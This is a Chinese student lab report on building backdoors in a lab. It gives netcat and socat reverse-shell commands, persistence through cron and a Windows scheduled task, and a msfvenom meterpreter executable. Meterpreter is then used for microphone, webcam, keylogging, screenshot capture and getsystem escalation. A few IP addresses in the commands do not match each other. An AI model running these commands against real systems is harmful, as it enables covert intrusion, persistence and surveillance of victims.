一、实验内容
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (0.5分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
二、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:钓鱼网站,网站挂马,下载的软件时被捆绑了恶意后门程序,收到社会工程学攻击。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:Linux中可以通过cron将后门设置为所需的定时启动,通过反弹式连接到客户端然后攻击者通过恶意控制启动后门;Windows中,攻击者可以通过修改注册表将后门程序添加到自启动项中,也可以将后门捆绑植入到各种正常的文件、程序中,当我们打开这些文件程序时后门被启动。
(3)Meterpreter有哪些给你映像深刻的功能?
答:可以获得目标主机的摄像头、音频等记录,对我来说印象非常深刻,让人防不胜防,另外是Meterpreter在目标机重启之后仍可控制。
(4)如何发现自己有系统有没有被安装后门?
答:通过任务管理器查看是否有在运行可疑进程,检查比照注册表中是否有可疑的自启动项,及时使用杀软对系统进行扫描。
二、熟悉基本工具
1. NC或ncat
-
NC也叫作netcat或ncat,是一个底层工具,进行基本的TCP UDP数据收发。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。它常被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。
Win获得Linux shell
win主机输入ipconfig查看本机地址
-
win主机运行监听指令
ncat.exe -l -p 1224
-
Linux反弹连接win主机
nc 172.168.228.63 1224 -e /bin/sh
连接成功,win成功获得Linux的shell
-
Linux获得Win Shell
Linux运行监听指令
首先查看kali虚拟机的ip地址
运行监听指令nc -l -p 1224
Windows反弹连接Linux ncat.exe -e cmd.exe 192.168.187.137 1224
Linux下看到Windows的命令提示
使用nc传输数据和文件
传输数据
- Windows下监听1224端口,
ncat.exe -l 1224
- kali反弹连接到Windows的1224端口,
nc 192.168.187.137 1224
- 连接建立成功,双方可以相互传输数据
传输文件
Linux向win传输文件
Windows下监听1224端口,并把接收到的数据保存到file1.out中,ncat.exe -l 1224 > file1.out
kali反弹连接到Windows的1224端口,并将file1.in文件传送过去。nc 172.168.228.63 < file1.in
连接建立成功,Win可以收到kali发来的文件。
win向Linux传输文件
Linux下监听1224端口,并将接收到的数据保存到文件file1.txt中,nc -l -p 1224 > file1.txt
win反弹连接到Linux的1224端口,并将file1.txt传过去。ncat.exe 192.168.187.137 1224 < file1.txt
连接建立成功,文件传输成功。
2. socat
socat又称Netcat++,超级netcat工具,是nc的加强版
任何代理、转发等功能都可以用该工具实现socat是ncat的增强版
它的使用格式是。socat [options] <address> <address>
其中两个address是必选项,而options 是可选项。address就类似于一个文件描述符,socat所做的工作就是在2个address指定的描述符间建立一个pipe用于发送和接收数据。
3. cron
cron 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
由于Cron 是Linux的内置服务,但它不自动起来,可以用以下的方法启动、关闭这个服务:/sbin/service crond start
//启动服务/sbin/service crond stop
//关闭服务
cron服务提供crontab命令来设定cron服务的,以下是一些常用的命令说明:
crontab -u
//设定某个用户的cron服务,一般root用户在执行这个命令的时候需要此参数
crontab -l
//列出某个用户cron服务的详细内容
crontab -e
//编辑某个用户的cron服务
cron 的主配置文件是 /etc/crontab,文件中的每一行都代表一项任务,它的格式是:* * * * * command
这个格式的前一部分是对时间的设定,后面一部分是要执行的命令,如果要执行的命令太多,可以把这些命令写到一个脚本里面,然后在这里直接调用这个脚本就可以了,调用的时候记得写出命令的完整路径。时间的设定我们有一定的约定,前面五个*号代表五个数字,数字的取值范围和含义如下:
minute — 分钟,从 0 到 59 之间的任何整数
hour — 小时,从 0 到 23 之间的任何整数
day — 日期,从 1 到 31 之间的任何整数(如果指定了月份,必须是该月份的有效日期)
month — 月份,从 1 到 12 之间的任何整数(或使用月份的英文简写如 jan、feb 等等)
dayofweek — 星期,从 0 到 7 之间的任何整数,这里的 0 或 7 代表星期日(或使用星期的英文简写如 sun、mon 等等)
除了数字还可以使用如下几个特殊的符号:*:取值范围内的所有数字;/:每过多少个数字;-:从某个数字到某个数字;,:分开几个离散的数字
-
4. Meterpreter
-
Meterpreter是MSF中的一个杀手锏,通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。Meterpreter是MSF的一个扩展模块,可以调用MSF的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等等。
-
Meterpreter优点
- 纯内存工作模式,不需要对磁盘进行任何写入操作
- 使用加密通信协议,而且可以同时与几个信道通信
- 在被攻击进程内工作,不需要创建新的进程
- 易于在多进程之间迁移
- 平台通用,适用于Windows、Linux、BSD系统,并支持Inter x86和Inter x64平台
-
Meterpreter基本用法
-
在获得系统的Meterpreter会话之后,可以通过输入
help
查看帮助手册 -
生成基于TCP的反向链接反弹shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=XXX -f exe > meter_backdoor.exe
参数说明:
- -p 使用的payload(有效载荷),就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
-
查看Meterpreter Shell的进程号:
getpid
-
获取运行Meterpreter会话的用户名:
getuid
-
获取系统信息:
sysinfo
-
对当前用户进行提权:
getsystem
-
获取目标机正在运行的进程:
ps
-
将当前的session放到后台运行,可以在msf中继续其他的渗透任务:
background
-
查看已经成功获取的会话:
sessions
sessions -i ID
:连接到执行ID的meterpreter会话已继续利用
-
在目标机中执行文件或程序:
execute
-
在目标机中下载文件:
download 目标文件路径 本地路径
-
在目标机中上传文件:
upload 源文件路径 目的文件路径
-
-
四、实验内容
-
任务一:使用netcat获取主机操作Shell,cron启动。
- windows 打开监听
首先使用ipconfig获得主机的地址
然后使用ncat.exe程序打开监听,设置监听端口为1224,输入ncat.exe -l -p 1224
- 使用cron添加命令,使得Linux反弹连接
在kali虚拟机内执行crontab -e
,在文件的最末尾添加55 * * * * /bin/netcat 172.16.228.63 1224 -e /bin/sh
,意思是在每个小时的第55分钟反向连接Windows主机的1224端口
每个小时的第55分钟,添加的那条指令就会执行,也就是说我们在Windows的命令行中可以获得Linux的shell,执行相关指令
-
任务二:使用socat获取主机操作Shell, 任务计划启动。
- 在Windows中创建socat连接任务
打开“计算机管理”,点击“任务计划程序”的“创建任务”,输入任务名称exp2 20181224
选择触发器,新建一个,选择开始任务为:工作站锁定时
选择操作,新建,在程序或脚本处选择本机socat.exe的下载位置。在添加参数一栏填写tcp-listen:1224 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口1224,同时把cmd.exe的stderr重定向到stdout上。
- 此时任务创建完成,可以看到它处于准备就绪状态。右击选择运行。(重新建立了exp2)
- 在Linux中利用socat连接被控主机(Windows),获取shell
在Kali中输入指令socat - tcp:172.16.228.63:1224
,即可发现已经成功获得了一个cmd命令行窗口。输入Windows下命令行的相关指令即可执行
-
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
-
在kali虚拟机上执行代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.137 LPORT=1224 -f exe > 20181224_backdoor.exe
,生成后门程序20181224_backdoor.exe。注意:这里LHOST的地址为kali机的地址。
2.使用nc将此后门程序传给Windows主机
Windows主机在ncat文件夹下执行ncat.exe -lv 1224 > 20181224_backdoor.exe
,接收文件。-lv参数可以看到当前的连接状态。
在kali机中执行nc 192.16.228.63 1224 < 20181224_backdoor.exe
,发送文件。注意:此处的ip地址为Windows主机的ip。发送成功,连接状态如下图所示:
在Kali机上使msfconsole
指令进入msf控制台
输入use exploit/multi/handler
进入handler
输入set payload windows/meterpreter/reverse_tcp
设置连接(playload)
输入set LHOST 192.168.174.129
设置ip地址(Linux地址)
输入set LPORT 1318
设置端口号
输入show options
再次查看设置是否正确
输入exploit
打开监听
在Windows上双击20181224_backdoor.exe
此时kali机获得win主机的反弹连接,并且获得了远程控制shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
获取音频
在meterpreter中输入record_mic
指令可以截获一段音频。-d
选项可以设置录制时间。
第2个音频设置了时间为5s。
获取摄像头
输入webcam_snap
指令可以使用摄像头进行拍照
获取键盘记录
使用keyscan_start
指令开始记录下击键的过程
使用keyscan_dump
指令读取击键的记录
获取截屏
使用screenshot
指令可以进行截屏
提权
首先使用getuid
指令查看当前用户
使用getsystem
指令进行提权
看到同学给出的解答是将后门程序的名字修改为install.exe即可提权,尝试后发现确实如此,提权成功。
-
五、问题及解决
- 在任务一中,向Windows主机传输后门程序时,点击是显示“另一个程序正在使用此文件”
原因:命令行没有关闭,文件还在传输状态
解决:关闭主机命令行。
- 主机防火墙、杀软关闭后,点击后门程序无反应。
原因:kali的防火墙没有关闭。
解决:通过ufw disable关闭kali防火墙,这些操作在实验完成后都要记得及时恢复。
六、实验感想
本次实验让我感到十分的新奇,也存在不少挑战,我在参考同学的博客,逐步实现实验任务的过程中学到了很多后门原理,尤其是任务四中通过后门对攻击对象音频、视频、键盘、屏幕的抓取,让我感慨颇深,更加体会到网络安全的重要性、后门程序的强大性。当然,实验中实现的是一些很基本的操作,或许在现实中早已本杀软记录,但是原理是相通的,我了解到了后门的许多基本原理!实验中我感觉相对需要理解的是每条指令中ip的选择,什么时候是目标机ip,什么时候是主机ip,理解了这个相信就能对攻击的具体过程有一定的认识。总的来说,实验很激励我去学习更多的软件后门知识、渗透测试知识等等!